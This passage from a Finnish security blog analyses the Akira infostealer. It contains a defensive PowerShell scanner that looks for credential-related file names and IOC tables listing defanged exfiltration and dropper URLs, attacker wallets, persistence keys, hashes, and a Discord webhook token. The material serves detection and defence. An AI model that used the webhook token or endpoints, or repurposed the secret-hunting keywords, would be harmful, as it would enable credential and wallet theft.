-------------------------------------\n",[1718,11631,11632],{"class":1720,"line":5099},[1718,11633,11634],{},"# 1. Configuration\n",[1718,11636,11637],{"class":1720,"line":5105},[1718,11638,11629],{},[1718,11640,11641],{"class":1720,"line":5111},[1718,11642,11643],{},"$scanFolders = @(\n",[1718,11645,11646],{"class":1720,"line":5117},[1718,11647,11648],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1718,11650,11651],{"class":1720,"line":5123},[1718,11652,11653],{},"    \"$env:USERPROFILE\\Documents\",\n",[1718,11655,11656],{"class":1720,"line":5129},[1718,11657,11658],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1718,11660,11661],{"class":1720,"line":5135},[1718,11662,11663],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1718,11665,11666],{"class":1720,"line":5141},[1718,11667,5282],{},[1718,11669,11670],{"class":1720,"line":5147},[1718,11671,11672],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1718,11674,11675],{"class":1720,"line":5814},[1718,11676,11677],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1718,11679,11680],{"class":1720,"line":5819},[1718,11681,11682],{},"$maxSize    = 2MB\n",[1718,11684,11685],{"class":1720,"line":5824},[1718,11686,3889],{"emptyLinePlaceholder":325},[1718,11688,11689],{"class":1720,"line":5829},[1718,11690,11629],{},[1718,11692,11693],{"class":1720,"line":5835},[1718,11694,11695],{},"# 2. Scan and Collect Matches\n",[1718,11697,11698],{"class":1720,"line":740},[1718,11699,11629],{},[1718,11701,11702],{"class":1720,"line":5844},[1718,11703,11704],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1718,11706,11707],{"class":1720,"line":5849},[1718,11708,3889],{"emptyLinePlaceholder":325},[1718,11710,11711],{"class":1720,"line":5854},[1718,11712,11713],{},"foreach ($folder in $scanFolders) {\n",[1718,11715,11716],{"class":1720,"line":5859},[1718,11717,11718],{},"    if (-not (Test-Path $folder)) { continue }\n",[1718,11720,11721],{"class":1720,"line":5864},[1718,11722,11723],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1718,11725,11726],{"class":1720,"line":5870},[1718,11727,11728],{},"        # 2.1 Extension filter\n",[1718,11730,11731],{"class":1720,"line":5876},[1718,11732,11733],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1718,11735,11736],{"class":1720,"line":5882},[1718,11737,11738],{},"        # 2.2 Size filter\n",[1718,11740,11741],{"class":1720,"line":5887},[1718,11742,11743],{},"        if ($_.Length -gt $maxSize) { return }\n",[1718,11745,11746],{"class":1720,"line":5892},[1718,11747,3889],{"emptyLinePlaceholder":325},[1718,11749,11750],{"class":1720,"line":5897},[1718,11751,11752],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1718,11754,11755],{"class":1720,"line":5902},[1718,11756,11757],{},"        $hit = $null\n",[1718,11759,11760],{"class":1720,"line":5908},[1718,11761,11762],{},"        foreach ($kw in $keywords) {\n",[1718,11764,11765],{"class":1720,"line":5913},[1718,11766,11767],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1718,11769,11770],{"class":1720,"line":5918},[1718,11771,11772],{},"                $hit = $kw\n",[1718,11774,11775],{"class":1720,"line":5923},[1718,11776,11777],{},"                break\n",[1718,11779,11780],{"class":1720,"line":5928},[1718,11781,11782],{},"            }\n",[1718,11784,11785],{"class":1720,"line":5933},[1718,11786,11787],{},"        }\n",[1718,11789,11790],{"class":1720,"line":5938},[1718,11791,11792],{},"        if (-not $hit) { return }\n",[1718,11794,11795],{"class":1720,"line":5944},[1718,11796,3889],{"emptyLinePlaceholder":325},[1718,11798,11799],{"class":1720,"line":5950},[1718,11800,11801],{},"        # 2.4 Build relative path\n",[1718,11803,11804],{"class":1720,"line":5956},[1718,11805,11806],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1718,11808,11809],{"class":1720,"line":5962},[1718,11810,3889],{"emptyLinePlaceholder":325},[1718,11812,11813],{"class":1720,"line":5967},[1718,11814,11815],{},"        # 2.5 Collect\n",[1718,11817,11818],{"class":1720,"line":5972},[1718,11819,11820],{},"        $matches.Add([PSCustomObject]@{\n",[1718,11822,11823],{"class":1720,"line":5978},[1718,11824,11825],{},"            FileName    = $_.Name\n",[1718,11827,11828],{"class":1720,"line":5984},[1718,11829,11830],{},"            Location    = $rel\n",[1718,11832,11833],{"class":1720,"line":5990},[1718,11834,11835],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1718,11837,11838],{"class":1720,"line":5996},[1718,11839,11840],{},"            Keyword     = $hit\n",[1718,11842,11843],{"class":1720,"line":6001},[1718,11844,11845],{},"        })\n",[1718,11847,11848],{"class":1720,"line":6006},[1718,11849,11850],{},"    }\n",[1718,11852,11853],{"class":1720,"line":6012},[1718,11854,2441],{},[1718,11856,11857],{"class":1720,"line":6017},[1718,11858,3889],{"emptyLinePlaceholder":325},[1718,11860,11861],{"class":1720,"line":6022},[1718,11862,11629],{},[1718,11864,11865],{"class":1720,"line":6028},[1718,11866,11867],{},"# 3. Display Results\n",[1718,11869,11870],{"class":1720,"line":6034},[1718,11871,11629],{},[1718,11873,11874],{"class":1720,"line":6040},[1718,11875,11876],{},"clear\n",[1718,11878,11879],{"class":1720,"line":6045},[1718,11880,11881],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1718,11883,11884],{"class":1720,"line":6051},[1718,11885,11886],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1718,11888,11889],{"class":1720,"line":6057},[1718,11890,3889],{"emptyLinePlaceholder":325},[1718,11892,11893],{"class":1720,"line":6062},[1718,11894,11895],{},"if ($matches.Count -gt 0) {\n",[1718,11897,11898],{"class":1720,"line":6068},[1718,11899,11900],{},"    $matches |\n",[1718,11902,11903],{"class":1720,"line":6074},[1718,11904,11905],{},"        Sort-Object Location, FileName |\n",[1718,11907,11908],{"class":1720,"line":6079},[1718,11909,11910],{},"        Format-Table -AutoSize `\n",[1718,11912,11913],{"class":1720,"line":6084},[1718,11914,11915],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1718,11917,11918],{"class":1720,"line":6089},[1718,11919,11920],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1718,11922,11923],{"class":1720,"line":6095},[1718,11924,11925],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1718,11927,11929],{"class":1720,"line":11928},79,[1718,11930,11931],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1718,11933,11935],{"class":1720,"line":11934},80,[1718,11936,3889],{"emptyLinePlaceholder":325},[1718,11938,11940],{"class":1720,"line":11939},81,[1718,11941,11942],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1718,11944,11946],{"class":1720,"line":11945},82,[1718,11947,2441],{},[1718,11949,11951],{"class":1720,"line":11950},83,[1718,11952,11953],{},"else {\n",[1718,11955,11957],{"class":1720,"line":11956},84,[1718,11958,11959],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1718,11961,11963],{"class":1720,"line":11962},85,[1718,11964,2441],{},[1718,11966,11968],{"class":1720,"line":11967},86,[1718,11969,3889],{"emptyLinePlaceholder":325},[1718,11971,11973],{"class":1720,"line":11972},87,[1718,11974,11975],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1718,11977,11979],{"class":1720,"line":11978},88,[1718,11980,11981],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[862,11983],{"className":11984},[865,866],[557,11986,11988],{"id":11987},"_12-vasteen-jälkeen-näin-glueckkanja-csoc-muuttaa-poikkeamat-oivalluksiksi","12. Vasteen jälkeen – näin glueckkanja CSOC muuttaa poikkeamat oivalluksiksi",[526,11990,563],{},[526,11992,11993,11994],{},"Useimmat tietoturvaoperaatiokeskukset pysähtyvät rajaamiseen.\n",[568,11995,11996],{},"Me emme.",[526,11998,11999],{},"glueckkanja CSOC:ssä uskomme, ettei incident response ole maaliviiva—se on lähtöpiste.",[526,12001,12002],{},"Kun muut julistavat voiton ja siirtyvät eteenpäin, me sukellamme syvemmälle. Meille jokainen poikkeama on tilaisuus oppia, mukautua ja tulla vahvemmaksi. Väsymätön uteliaisuutemme, jota ruokkivat vuosien syvä forensinen asiantuntemus ja reverse engineering -kyvykkyys, varmistaa, ettemme vain puolusta—me ennakoimme.",[526,12004,12005,12006,726],{},"Tämän filosofian vuoksi rakensimme ",[568,12007,12008],{},"Akira Compromise Reporterin",[526,12010,12011],{},"Tämä sisäisesti kehitetty forensinen työkalu menee paljon perushavaitsemista pidemmälle ja hyödyntää läheistä tuntemustamme Akira Stealerista tarjotakseen ehdottoman selkeyden siitä, mitä dataa on vaarannettu. Minuuteissa se tuottaa täsmällisen, toimintakelpoisen tilannekuvan poikkeaman koko vaikutuksesta:",[631,12013,12014,12017,12020],{},[634,12015,12016],{},"Tarkalleen mitkä tunnistetiedot, tokenit ja selainistunnot varastettiin.",[634,12018,12019],{},"Täsmälleen mitkä kryptovaluuttalompakot, viestintätilit ja tiedostot altistuivat.",[634,12021,12022],{},"Selkeä, jäsennelty ja yksityiskohtainen forensinen raportti—muuttaen epävarmuuden välittömäksi, tietoon perustuvaksi toiminnaksi.",[526,12024,12025],{},[782,12026],{"alt":12027,"src":12028},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[526,12030,12031],{},"Koska me glueckkanjalla mittaamme menestyksemme paitsi estettyjen uhkien myös tarjotun selkeyden perusteella. Oikein tehty kyberturvallisuus ei tarkoita pelkkää reagointia poikkeamiin—se tarkoittaa ymmärtämistä, mukautumista ja jatkuvaa askeleen edellä pysymistä.",[526,12033,12034],{},[568,12035,12036],{},"Se on glueckkanja CSOC:n ero.",[557,12038,12040],{"id":12039},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[526,12042,563],{},[526,12044,12045],{},"Alla on kattava, sanatarkka kokoelma IOC-indikaattoreita, jotka on poimittu suoraan haittaohjelmakoodista glueckkanja CSOC:n sisäisen reverse engineering -prosessin aikana. Oletuksia tai ulkoisia threat intelligence -lähteitä ei käytetty — kaikki indikaattorit ovat vahvistettuja havaintoja. Kaikki URL:t on tarkoituksella obfuskoitu vahinkoklikkausten estämiseksi.",[526,12047,12048],{},[568,12049,12050],{},"Lyhenteet:",[631,12052,12053,12059],{},[634,12054,12055,12058],{},[568,12056,12057],{},"TG:"," Telegram-raportointikanava",[634,12060,12061,12064],{},[568,12062,12063],{},"Alt:"," Vaihtoehtoinen (vara-) päätepiste",[748,12066,12068],{"id":12067},"_1-verkkotunnukset-urlt","1. Verkkotunnukset & URL:t",[526,12070,754],{},[1430,12072,4719,12074],{"className":12073,"style":11149},[11148],[1446,12075,12076,4719,12088,4719,12101,4719,12114,4719,12127,4719,12140,4719,12153,4719,12166,4719,12182,4719,12198,4719,12211,4719,12224,4719,12237,4719,12250,4719,12263,4719,12276,4719,12289,4719,12302,4719,12315,4719,12328,4719,12342,4719,12355],{},[1436,12077,4724,12078,4724,12082,4724,12086,4719],{},[1439,12079,12081],{"style":12080},"text-align: left; width: 18%;","Kategoria",[1439,12083,12085],{"style":12084},"text-align: left; width: 52%;","Obfuskoitu URL",[1439,12087,4892],{},[1436,12089,4724,12090,4724,12093,4724,12098,4719],{},[1451,12091,12092],{},"Ensisijainen injektio",[1451,12094,12095],{},[579,12096,12097],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1451,12099,12100],{},"Hyökkääjän ensimmäinen webhook-päätepiste",[1436,12102,4724,12103,4724,12106,4724,12111,4719],{},[1451,12104,12105],{},"Vara-injektio",[1451,12107,12108],{},[579,12109,12110],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1451,12112,12113],{},"Vaihtoehtoinen injektoripäätepiste",[1436,12115,4724,12116,4724,12119,4724,12124,4719],{},[1451,12117,12118],{},"Virheraportointi (TG)",[1451,12120,12121],{},[579,12122,12123],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1451,12125,12126],{},"Telegramin virhe-/lokiraportoinnin URL",[1436,12128,4724,12129,4724,12132,4724,12137,4719],{},[1451,12130,12131],{},"Virheraportointi (Alt)",[1451,12133,12134],{},[579,12135,12136],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1451,12138,12139],{},"Vaihtoehtoinen virhe-/lokiraportoinnin URL",[1436,12141,4724,12142,4724,12145,4724,12150,4719],{},[1451,12143,12144],{},"Vanity-botti (TG)",[1451,12146,12147],{},[579,12148,12149],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1451,12151,12152],{},"Vanity-osoitteen ilmoituspäätepiste",[1436,12154,4724,12155,4724,12158,4724,12163,4719],{},[1451,12156,12157],{},"Vanity-botti (Alt)",[1451,12159,12160],{},[579,12161,12162],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1451,12164,12165],{},"Vaihtoehtoinen vanity-ilmoituspäätepiste",[1436,12167,4724,12168,4724,12171,4724,12176,4719],{},[1451,12169,12170],{},"Exodus-injektio",[1451,12172,12173],{},[579,12174,12175],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1451,12177,12178,12179,12181],{},"Electronin ",[579,12180,4624],{},"-sovellusmoduuli",[1436,12183,4724,12184,4724,12187,4724,12192,4719],{},[1451,12185,12186],{},"Atomic-injektio",[1451,12188,12189],{},[579,12190,12191],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1451,12193,12178,12194,12197],{},[579,12195,12196],{},"AtomicWallet","-moduuli",[1436,12199,4724,12200,4724,12203,4724,12208,4719],{},[1451,12201,12202],{},"Updater-lataus",[1451,12204,12205],{},[579,12206,12207],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1451,12209,12210],{},"Persistence-dropperin suoritettava tiedosto",[1436,12212,4724,12213,4724,12216,4724,12221,4719],{},[1451,12214,12215],{},"Gofile API -lista",[1451,12217,12218],{},[579,12219,12220],{},"https[:]//api.gofile[.]io/servers",[1451,12222,12223],{},"Hakee parhaan GoFile-latauspalvelimen",[1436,12225,4724,12226,4724,12229,4724,12234,4719],{},[1451,12227,12228],{},"Discord-tokenin tarkistus",[1451,12230,12231],{},[579,12232,12233],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1451,12235,12236],{},"Validoi varastetun Discord-tokenin",[1436,12238,4724,12239,4724,12242,4724,12247,4719],{},[1451,12240,12241],{},"Discord-laskutustiedot",[1451,12243,12244],{},[579,12245,12246],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1451,12248,12249],{},"Hakee laskutusmenetelmät",[1436,12251,4724,12252,4724,12255,4724,12260,4719],{},[1451,12253,12254],{},"Google OAuth -replay",[1451,12256,12257],{},[579,12258,12259],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1451,12261,12262],{},"Toistaa varastetut Google-istuntotokenit",[1436,12264,4724,12265,4724,12268,4724,12273,4719],{},[1451,12266,12267],{},"IP-tarkistus (hosting)",[1451,12269,12270],{},[579,12271,12272],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1451,12274,12275],{},"Hosting-ympäristön havaitseminen",[1436,12277,4724,12278,4724,12281,4724,12286,4719],{},[1451,12279,12280],{},"IP-haku (geo)",[1451,12282,12283],{},[579,12284,12285],{},"http[:]//ip-api[.]com/json/{ip}",[1451,12287,12288],{},"Paikannus IP:n perusteella",[1436,12290,4724,12291,4724,12294,4724,12299,4719],{},[1451,12292,12293],{},"Julkisen IP:n haku",[1451,12295,12296],{},[579,12297,12298],{},"https[:]//api[.]ipify[.]org",[1451,12300,12301],{},"Hakee ulkoisen IP-osoitteen",[1436,12303,4724,12304,4724,12307,4724,12312,4719],{},[1451,12305,12306],{},"File.io-lataus",[1451,12308,12309],{},[579,12310,12311],{},"https[:]//file[.]io/",[1451,12313,12314],{},"Toissijainen exfiltraatiokanava",[1436,12316,4724,12317,4724,12320,4724,12325,4719],{},[1451,12318,12319],{},"Oshi.at-lataus",[1451,12321,12322],{},[579,12323,12324],{},"http[:]//oshi[.]at/",[1451,12326,12327],{},"Kolmassijainen exfiltraatiokanava",[1436,12329,4724,12330,4724,12333,4724,12339,4719],{},[1451,12331,12332],{},"JS-dropper ensisijainen",[1451,12334,12335],{},[722,12336,12338],{"href":12337,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1451,12340,12341],{},"Etäviittaus varsinaiseen ZIP-URL:iin",[1436,12343,4724,12344,4724,12347,4724,12352,4719],{},[1451,12345,12346],{},"JS-dropper vara 1",[1451,12348,12349],{},[722,12350,12351],{"href":3637,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1451,12353,12354],{},"Vaihtoehtoinen payload-ZIP",[1436,12356,4724,12357,4724,12360,4724,12365,4719],{},[1451,12358,12359],{},"JS-dropper vara 2",[1451,12361,12362],{},[722,12363,12364],{"href":3642,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1451,12366,12367],{},"Toissijainen vara-payload-ZIP",[862,12369],{"className":12370},[865,866],[748,12372,12374],{"id":12373},"_2-kryptovaluutta-osoitteet","2. Kryptovaluutta-osoitteet",[526,12376,754],{},[1430,12378,4719,12380],{"className":12379,"style":11149},[11148],[1446,12381,12382,4719,12390,4719,12400,4719,12410,4719,12420,4719,12429,4719,12439,4719,12449,4719,12459,4719,12469,4719,12479],{},[1436,12383,4724,12384,4724,12387,4719],{},[1439,12385,12386],{"style":11160},"Valuutta",[1439,12388,12389],{},"Osoite",[1436,12391,4724,12392,4724,12395,4719],{},[1451,12393,12394],{},"BTC",[1451,12396,12397],{},[579,12398,12399],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1436,12401,4724,12402,4724,12405,4719],{},[1451,12403,12404],{},"ETH",[1451,12406,12407],{},[579,12408,12409],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1436,12411,4724,12412,4724,12415,4719],{},[1451,12413,12414],{},"DOGE",[1451,12416,12417],{},[579,12418,12419],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1436,12421,4724,12422,4724,12425,4719],{},[1451,12423,12424],{},"LTC",[1451,12426,12427],{},[579,12428,11191],{},[1436,12430,4724,12431,4724,12434,4719],{},[1451,12432,12433],{},"XMR",[1451,12435,12436],{},[579,12437,12438],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1436,12440,4724,12441,4724,12444,4719],{},[1451,12442,12443],{},"BCH",[1451,12445,12446],{},[579,12447,12448],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1436,12450,4724,12451,4724,12454,4719],{},[1451,12452,12453],{},"DASH",[1451,12455,12456],{},[579,12457,12458],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1436,12460,4724,12461,4724,12464,4719],{},[1451,12462,12463],{},"TRX",[1451,12465,12466],{},[579,12467,12468],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1436,12470,4724,12471,4724,12474,4719],{},[1451,12472,12473],{},"XRP",[1451,12475,12476],{},[579,12477,12478],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1436,12480,4724,12481,4724,12484,4719],{},[1451,12482,12483],{},"XLM",[1451,12485,12486],{},[579,12487,12488],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[862,12490],{"className":12491},[865,866],[748,12493,12495],{"id":12494},"_3-rekisteriavaimet-polut","3. Rekisteriavaimet / -polut",[526,12497,754],{},[1430,12499,4719,12501],{"className":12500,"style":11149},[11148],[1446,12502,12503,4719,12510,4719,12520,4719,12530,4719,12543],{},[1436,12504,4724,12505,4724,12508,4719],{},[1439,12506,1687],{"style":12507},"text-align: left; width: 60%;",[1439,12509,1219],{},[1436,12511,4724,12512,4724,12517,4719],{},[1451,12513,12514],{},[579,12515,12516],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1451,12518,12519],{},"Tarkistaa virtuaalisen GPU-ajurin signatuurin",[1436,12521,4724,12522,4724,12527,4719],{},[1451,12523,12524],{},[579,12525,12526],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1451,12528,12529],{},"Tarkistaa virtuaalisen GPU:n toimittajan nimen",[1436,12531,4724,12532,4724,12540,4719],{},[1451,12533,12534,12537,12538,1149],{},[579,12535,12536],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (arvo ",[568,12539,1698],{},[1451,12541,12542],{},"Persistence Run-avaimen kautta (Updater.exe)",[1436,12544,4724,12545,4724,12549,4719],{},[1451,12546,12547],{},[579,12548,1706],{},[1451,12550,12551],{},"Persistence-suoritettava",[862,12553],{"className":12554},[865,866],[748,12556,12558],{"id":12557},"_5-tiedostot-hashit","5. Tiedostot & hashit",[526,12560,754],{},[1430,12562,4719,12564],{"className":12563,"style":11149},[11148],[1446,12565,12566,4719,12578,4719,12590,4719,12602,4719,12615,4719,12627,4719,12639,4719,12651,4719,12663,4719,12676,4719,12688,4719,12701,4719,12713],{},[1436,12567,4724,12568,4724,12571,4724,12575,4719],{},[1439,12569,12570],{"style":12080},"Tiedostonimi",[1439,12572,12574],{"style":12573},"text-align: left; width: 62%;","SHA256",[1439,12576,12577],{},"Koko (tavua)",[1436,12579,4724,12580,4724,12582,4724,12587,4719],{},[1451,12581,1860],{},[1451,12583,12584],{},[579,12585,12586],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1451,12588,12589],{},"63936274",[1436,12591,4724,12592,4724,12594,4724,12599,4719],{},[1451,12593,606],{},[1451,12595,12596],{},[579,12597,12598],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1451,12600,12601],{},"162036224",[1436,12603,4724,12604,4724,12607,4724,12612,4719],{},[1451,12605,12606],{},"jscrypter.js",[1451,12608,12609],{},[579,12610,12611],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1451,12613,12614],{},"1429",[1436,12616,4724,12617,4724,12619,4724,12624,4719],{},[1451,12618,2849],{},[1451,12620,12621],{},[579,12622,12623],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1451,12625,12626],{},"30138",[1436,12628,4724,12629,4724,12631,4724,12636,4719],{},[1451,12630,2846],{},[1451,12632,12633],{},[579,12634,12635],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1451,12637,12638],{},"7155",[1436,12640,4724,12641,4724,12643,4724,12648,4719],{},[1451,12642,2774],{},[1451,12644,12645],{},[579,12646,12647],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1451,12649,12650],{},"211",[1436,12652,4724,12653,4724,12655,4724,12660,4719],{},[1451,12654,610],{},[1451,12656,12657],{},[579,12658,12659],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1451,12661,12662],{},"205210",[1436,12664,4724,12665,4724,12668,4724,12673,4719],{},[1451,12666,12667],{},"exodus.asar",[1451,12669,12670],{},[579,12671,12672],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1451,12674,12675],{},"132486332",[1436,12677,4724,12678,4724,12680,4724,12685,4719],{},[1451,12679,1918],{},[1451,12681,12682],{},[579,12683,12684],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1451,12686,12687],{},"28454",[1436,12689,4724,12690,4724,12693,4724,12698,4719],{},[1451,12691,12692],{},"download.dat",[1451,12694,12695],{},[579,12696,12697],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1451,12699,12700],{},"21142",[1436,12702,4724,12703,4724,12705,4724,12710,4719],{},[1451,12704,2908],{},[1451,12706,12707],{},[579,12708,12709],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1451,12711,12712],{},"32375391",[1436,12714,4724,12715,4724,12717,4724,12722,4719],{},[1451,12716,602],{},[1451,12718,12719],{},[579,12720,12721],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1451,12723,12724],{},"37652937",[862,12726],{"className":12727},[865,866],[748,12729,12731],{"id":12730},"_5-discord-telegram-tunniste","5. Discord- & Telegram-tunniste",[526,12733,754],{},[1430,12735,4719,12737],{"className":12736,"style":11149},[11148],[1446,12738,12739,4719,12745,4719,12755,4719,12765],{},[1436,12740,4724,12741,4724,12743,4719],{},[1439,12742,12081],{"style":6340},[1439,12744,1444],{},[1436,12746,4724,12747,4724,12750,4719],{},[1451,12748,12749],{},"Discord Webhook ID",[1451,12751,12752],{},[579,12753,12754],{},"1226766972675428372",[1436,12756,4724,12757,4724,12760,4719],{},[1451,12758,12759],{},"Discord Webhook Token",[1451,12761,12762],{},[579,12763,12764],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1436,12766,4724,12767,4724,12770,4719],{},[1451,12768,12769],{},"Telegram-ID",[1451,12771,12772],{},[579,12773,12774],{},"5035121855",[862,12776],{"className":12777},[865,866],[557,12779,12781],{"id":12780},"_14-katsaus-akira-stealer-poikkeamaan-vahvista-puolustustasi-glueckkanja-csocn-avulla","14. Katsaus Akira Stealer -poikkeamaan: vahvista puolustustasi glueckkanja CSOC:n avulla",[526,12783,563],{},[526,12785,12786],{},"Tämän blogin läpi olemme tarkastelleet Akira-infostealerin hienostunutta luonnetta—kehittynyttä kyberuhkaa, jolle on ominaista kohdennettu tunnistetietojen varastaminen, huomaamaton datan exfiltraatio ja pysyvät menetelmät perinteisen puolustuksen väistämiseksi. Sen ymmärtäminen, miten tämä haittaohjelma toimii, mitä riskejä se aiheuttaa ja mitä haavoittuvuuksia se hyödyntää, on ratkaisevaa vankan kyberturvallisuusstrategian rakentamisessa.",[526,12788,12789],{},"Akira-infostealer kohdistuu erityisesti arkaluonteiseen dataan, kuten kirjautumistietoihin, selainistuntoihin, kryptovaluuttalompakoihin, viestintäpalveluihin sekä henkilökohtaisiin tai organisaation tiedostoihin. Sen laskelmoidut ja täsmälliset menetelmät vaativat enemmän kuin pelkkiä tavanomaisia tietoturvatoimia—ne edellyttävät jatkuvaa valvontaa, perusteellista forensista analyysiä ja proaktiivista threat intelligenceä.",[526,12791,12792],{},"glueckkanja CSOC:ssä hyödynnämme syvää teknistä asiantuntemustamme ja edistyneitä analyyttisiä kyvykkyyksiämme mennäksemme pelkkää havaitsemista pidemmälle. Erikoistunut tiimimme valvoo uhkia jatkuvasti reaaliajassa omilta CSOC-palvelimiltamme, mikä mahdollistaa Akira-infostealerin kaltaisten uhkien välittömän tunnistamisen, perusteellisen tutkinnan ja tehokkaan neutraloinnin.",[526,12794,12795],{},"Työmme ei kuitenkaan pysähdy incident responseen. Jokainen havaittu poikkeama rikastuttaa tietämyskantaamme, vahvistaa tietoturva-asemaamme ja varmistaa, että pysymme useita askelia tulevien uhkien edellä. glueckkanja CSOC:n kanssa saat enemmän kuin suojausta—saat mukautuvan tietoturvakumppanin, joka on sitoutunut pitkän aikavälin kestävyyteesi.",[526,12797,12798],{},"Ota seuraava askel organisaatiosi digitaalisten resurssien turvaamisessa.",[526,12800,12801],{},"Ota tänään yhteyttä glueckkanjan kyberturvallisuusasiantuntijoihin, niin turvataan tulevaisuutesi proaktiivisesti yhdessä.",[526,12803,12804],{},[568,12805,12806],{},"Vahvista puolustustasi glueckkanja CSOC:n avulla.",[557,12808,12810],{"id":12809},"_15-tietoturva-ja-vastuuvapauslauseke-todellisen-haittaohjelmakoodin-käyttö","15. Tietoturva- ja vastuuvapauslauseke – todellisen haittaohjelmakoodin käyttö",[526,12812,563],{},[526,12814,12815],{},"Tämä julkaisu sisältää yksityiskohtaisia teknisiä havaintoja, mukaan lukien koodikatkelmia ja käyttäytymisen erittelyjä, jotka on johdettu todellisesta haitallisesta ohjelmistosta, joka löydettiin incident responsen ja forensisten tutkimusten aikana. Näiden tietojen jakamisen tarkoitus on tiukasti koulutuksellinen, ja se on tarkoitettu auttamaan ammattimaisia puolustajia ymmärtämään, havaitsemaan ja vastaamaan todellisiin uhkiin tehokkaammin. Julkaisemme tämän hyvässä uskossa ja tarkoituksena edistää laajempaa tietoturvayhteisöä.",[526,12817,12818],{},"On tärkeää huomata, että osat mukana olevasta koodista ovat peräisin 